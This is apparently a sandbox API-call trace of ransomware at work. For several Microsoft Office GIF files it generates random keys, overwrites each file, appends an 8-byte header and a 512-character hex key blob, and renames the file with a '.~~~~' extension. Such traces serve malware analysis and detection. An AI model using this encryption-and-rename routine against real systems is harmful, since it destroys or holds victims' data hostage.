	[0130.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0130.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0130.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0130.239] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25022961490) returned 1
	[0130.240] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb7131850, dwHighDateTime=0x1d60e1e)) 
	[0130.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0130.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0130.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0130.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822d48
	[0130.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0130.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822d48 | out: hHeap=0x300000) returned 1
	[0130.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0130.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3e78
	[0130.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c2b58
	[0130.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.240] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0130.240] GetLastError () returned 0x0
	[0130.241] GetLastError () returned 0x0
	[0130.241] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0130.241] GetLastError () returned 0x0
	[0130.241] GetLastError () returned 0x0
	[0130.243] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffffc6b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.243] WriteFile (in: hFile=0x114, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x395, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x395, lpOverlapped=0x0) returned 1
	[0130.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.245] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.245] WriteFile (in: hFile=0x114, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.245] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.245] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.245] CloseHandle (hObject=0x114) returned 1
	[0130.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3e78
	[0130.246] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21324_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21324_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21324_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21324_.gif.~~~~")) returned 1
	[0130.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0130.247] GetLastError () returned 0x0
	[0130.248] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0130.249] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0130.249] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0130.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0130.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0130.249] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25023928278) returned 1
	[0130.249] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb7131850, dwHighDateTime=0x1d60e1e)) 
	[0130.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0130.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0130.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0130.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822d80
	[0130.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0130.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822d80 | out: hHeap=0x300000) returned 1
	[0130.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0130.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3e78
	[0130.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c2bf0
	[0130.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.250] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0130.250] GetLastError () returned 0x0
	[0130.250] GetLastError () returned 0x0
	[0130.251] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0130.251] GetLastError () returned 0x0
	[0130.251] GetLastError () returned 0x0
	[0130.253] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffffa20, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.253] WriteFile (in: hFile=0x114, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x5e0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x5e0, lpOverlapped=0x0) returned 1
	[0130.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.256] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.256] WriteFile (in: hFile=0x114, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.256] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.256] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.256] CloseHandle (hObject=0x114) returned 1
	[0130.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3e78
	[0130.257] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21325_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21325_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21325_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21325_.gif.~~~~")) returned 1
	[0130.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0130.259] GetLastError () returned 0x0
	[0130.259] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0130.261] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0130.261] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0130.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0130.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0130.261] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25025148712) returned 1
	[0130.261] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb71579b0, dwHighDateTime=0x1d60e1e)) 
	[0130.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0130.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0130.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0130.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822db8
	[0130.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0130.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822db8 | out: hHeap=0x300000) returned 1
	[0130.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0130.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3e78
	[0130.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c2c88
	[0130.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.262] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0130.263] GetLastError () returned 0x0
	[0130.263] GetLastError () returned 0x0
	[0130.263] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0130.263] GetLastError () returned 0x0
	[0130.263] GetLastError () returned 0x0
	[0130.472] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffff907, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.472] WriteFile (in: hFile=0x114, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x6f9, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x6f9, lpOverlapped=0x0) returned 1
	[0130.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.474] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.474] WriteFile (in: hFile=0x114, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.474] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.474] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.474] CloseHandle (hObject=0x114) returned 1
	[0130.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.475] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21326_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21326_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21326_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21326_.gif.~~~~")) returned 1
	[0130.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0130.476] GetLastError () returned 0x0
	[0130.476] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2a11be0) returned 1
	[0130.477] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0130.477] CryptReleaseContext (hProv=0x2a11be0, dwFlags=0x0) returned 1
	[0130.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0130.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0130.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0130.478] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25046785927) returned 1
	[0130.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb736ccf0, dwHighDateTime=0x1d60e1e)) 
	[0130.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0130.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0130.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0130.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823100
	[0130.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823100 | out: hHeap=0x300000) returned 1
	[0130.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0130.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c2d20
	[0130.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.479] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0130.479] GetLastError () returned 0x0
	[0130.479] GetLastError () returned 0x0
	[0130.479] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0130.479] GetLastError () returned 0x0
	[0130.479] GetLastError () returned 0x0
	[0130.500] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffffcb3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.500] WriteFile (in: hFile=0x114, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x34d, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x34d, lpOverlapped=0x0) returned 1
	[0130.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.502] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.502] WriteFile (in: hFile=0x114, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.502] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.502] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.502] CloseHandle (hObject=0x114) returned 1
	[0130.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.502] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21512_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21512_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21512_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21512_.gif.~~~~")) returned 1
	[0130.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0130.504] GetLastError () returned 0x0
	[0130.505] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2a11c68) returned 1
	[0130.506] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0130.506] CryptReleaseContext (hProv=0x2a11c68, dwFlags=0x0) returned 1
	[0130.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0130.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0130.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0130.506] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25049612315) returned 1
	[0130.506] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb73b8fb0, dwHighDateTime=0x1d60e1e)) 
	[0130.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0130.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0130.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0130.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28231a8
	[0130.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28231a8 | out: hHeap=0x300000) returned 1
	[0130.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0130.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3608
	[0130.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.507] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0130.507] GetLastError () returned 0x0
	[0130.507] GetLastError () returned 0x0
	[0130.507] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0130.508] GetLastError () returned 0x0
	[0130.508] GetLastError () returned 0x0
	[0130.509] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffffee6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.509] WriteFile (in: hFile=0x114, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x11a, lpOverlapped=0x0) returned 1
	[0130.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.511] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.511] WriteFile (in: hFile=0x114, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.512] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.512] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.512] CloseHandle (hObject=0x114) returned 1
	[0130.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.512] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115855.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115855.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115855.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115855.gif.~~~~")) returned 1
	[0130.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0130.514] GetLastError () returned 0x0
